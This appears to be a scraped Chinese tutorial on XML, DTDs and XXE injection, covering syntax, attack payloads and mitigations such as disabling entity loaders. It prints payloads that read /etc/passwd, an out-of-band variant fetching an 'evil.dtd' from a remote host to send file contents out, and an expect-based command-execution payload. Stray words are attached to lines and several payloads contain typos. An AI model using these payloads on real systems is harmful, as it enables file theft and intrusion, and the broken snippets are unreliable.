定義:一種標記電子文件使其具備結構性的標記語言,能夠用來標記數據、定義數據類型,是一種容許用戶對本身的標記語言進行定義的源語言。php
XML文檔結構包括XML聲明、DTD文檔類型定義(可選)、文檔元素。html
<!--XML聲明--> <?xml version="1.0"?> <!--文檔類型定義--> <!DOCTYPE note [ <!--定義此文檔是 note 類型的文檔--> <!ELEMENT note (to,from,heading,body)> <!--定義note元素有四個元素--> <!ELEMENT to (#PCDATA)> <!--定義to元素爲」#PCDATA」類型--> <!ELEMENT from (#PCDATA)> <!--定義from元素爲」#PCDATA」類型--> <!ELEMENT head (#PCDATA)> <!--定義head元素爲」#PCDATA」類型--> <!ELEMENT body (#PCDATA)> <!--定義body元素爲」#PCDATA」類型--> ]]]> <!--文檔元素--> <note> <to>Dave</to> <from>Tom</from> <head>Reminder</head> <body>You are a good man</body> </note>
DTDweb
內部聲明DTD:bash
<!DOCTYPE 根元素 [元素聲明]>
外部聲明DTD:服務器
<!DOCTYPE 根元素 SYSTEM "文件名">
DTD中的一些重要的關鍵字:學習
實體主要分爲兩類網站
1 通常實體:內置實體/字符實體/通用實體ui
2 參數實體google
舉例:
內部實體spa
<!ENTITY 實體名稱 "實體內容">
外部實體
<!ENTITY 實體名稱 SYSTEM "URI">
參數實體
<!ENTITY % 實體名稱 "實體內容"> 或者 <!ENTITY % 實體名稱 "URI">
默認協議
PHP擴展協議
舉例:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd "file:///etc/passwd">]> <foo> <value>&passwd;</value> </foo>
XXE就是XML外部實體注入。當容許引用外部實體時,經過構造惡意內容,可致使讀取任意文件、執行系統命令、探測內網端口、攻擊內網網站等危害。
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]> <a> <value>&passwd;</value> </a>
**XML內容** <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE a [ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %d; ]> <aaa>&b;</aaa>
**DTD文件內容**
<!ENTITY b SYSTEM "file:///etc/passwd">
**xml文件內容** <?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY f SYSTEM "http://www.m03.com/evil.dtd"> ]> <a>&b;</a> **DTD文件內容**
<!ENTITY b SYSTEM "file:///etc/passwd">
1.讀取任意文件 - 有回顯
**xml.php** <?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
- 無回顯,能夠將文件內容發送到遠程服務器,而後讀取。
**xx.xml**
<?xml verstion="1.0" encoding="utf-8"?> <!DOCTYPE a[ <!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd"> %f; ]> <a>&b;</a> $data = simplexml_load_string($xml); print_r($data);
**evil.dtd**
<ENTITY b SYSTEM "file:///etc/passwd">
2.命令執行
php環境下,xml命令執行要求php裝有expect擴展。而該擴展默認沒有安裝。
<?php $xml = <<<EOF <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "except://ls"> ]> <x>&f;</x> EOF; $data = simplexml_load_string($xml); print_r($data); ?>
3.內網探測/SSRF
因爲xml實體注入攻擊能夠利用http://協議,也就是能夠發起http請求。能夠利用該請求去探查內網,進行SSRF攻擊。
xmllib2.9.0之後,默認不解析外部實體的。
1.使用開發語言提供的禁用外部實體的方法
PHP: libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python: from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.過濾用戶提交的XML數據
過濾關鍵詞:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC。
XXE的高階玩法不少,但究其原理都同樣。「千里之堤,始於足下;百丈之臺,始於壘土。」
XXE漏洞學習從入門到放棄:https://www.jianshu.com/p/77f2181587a4
XXE萌新進階全攻略:https://www.freebuf.com/vuls/194112.html
XXE進階——OOB攻擊:https://www.jianshu.com/p/be4d7d5f799c
DTD/XXE 攻擊筆記分享:https://www.freebuf.com/articles/web/97833.html
google「XXE進階/全攻略/oob(out of band)」